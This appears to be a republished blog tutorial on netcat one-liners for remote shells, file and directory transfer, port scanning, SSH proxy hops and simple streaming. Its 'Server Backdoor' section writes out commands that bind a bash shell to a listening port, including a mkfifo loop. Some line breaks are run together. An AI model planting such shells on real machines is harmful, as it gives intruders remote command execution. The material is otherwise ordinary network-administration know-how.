Unlock Netcat: One‑Liner Hacks for Backdoors, File Transfer & Port Scanning
This guide explores the versatile netcat (nc) utility, showing how a single command can open a backdoor shell, transfer files and directories, test network connectivity, bypass firewalls, and even serve simple web or audio streams, all with concise examples.
1. Server Backdoor
Start a listener on the target machine that spawns a bash shell on port 5879:
# nc -l -vv -p 5879 -e /bin/bash
Ncat: Version 6.40 (http://nmap.org/ncat )
Ncat: Listening on :::5879
Ncat: Listening on 0.0.0.0:5879From a remote client connect with:
# nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!Any command typed on the client runs on the server. Adding -k keeps the listener alive after the client disconnects.
For a more persistent reverse shell, combine mkfifo with a loop:
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc -l 5879 > /tmp/fClient side:
$ nc -v 192.16.1.54 5879
Connection to 192.16.1.54 port 5879 [tcp/*] succeeded!
[root@localhost~]#2. File and Directory Transfer
Use netcat as a simple, unencrypted file transfer tool.
Server listening and writing to a file:
nc -l 5879 > fileClient sending a tarball:
nc -v 192.16.1.54 5879 < redis-5.0.5.tar.gzVerify integrity with md5sum on both sides – the hashes match.
Transfer directories by piping tar through netcat:
# Server side
nc -l 5879 | tar xfvz -
# Client side
tar cfz - redis-5.0.5 | nc -v 192.16.1.54 58793. Network Connectivity Testing
Check whether a remote service is reachable without logging in:
# Simple port check
nc -vvv baidu.com 443
Connection to baidu.com port 443 [tcp/https] succeeded!Scan a range of ports (useful for quick audits):
nc -vzw 2 192.16.1.54 8888-99994. Firewall Traversal
Chain SSH connections with ProxyCommand to reach a host behind multiple firewalls:
ssh -A -t ruapehu.example.com ssh -A -t aoraki ssh -A tongariroOr a one‑liner using netcat as the proxy:
ssh -oProxyCommand="ssh host1 nc host2 22" host25. Other Creative Uses
Run a minimal HTTP time server:
ncat -lkp 8976 --sh-exec 'echo -ne "HTTP/1.0 200 OK
The date is "; date;'Stream audio/video over UDP with netcat (example shows capturing audio, encoding with lame, sending via UDP, and playing back with mpg123 on the client):
# Server side
arecord -f cd -c 2 | lame -b128 - - | netcat -u your-ip 6881 | mpg123 -
# Client side
arecord -f cd -c 2 | lame -b128 - - | netcat -u -l 6881 | mpg123 -Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Liangxu Linux
Liangxu, a self‑taught IT professional now working as a Linux development engineer at a Fortune 500 multinational, shares extensive Linux knowledge—fundamentals, applications, tools, plus Git, databases, Raspberry Pi, etc. (Reply “Linux” to receive essential resources.)
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
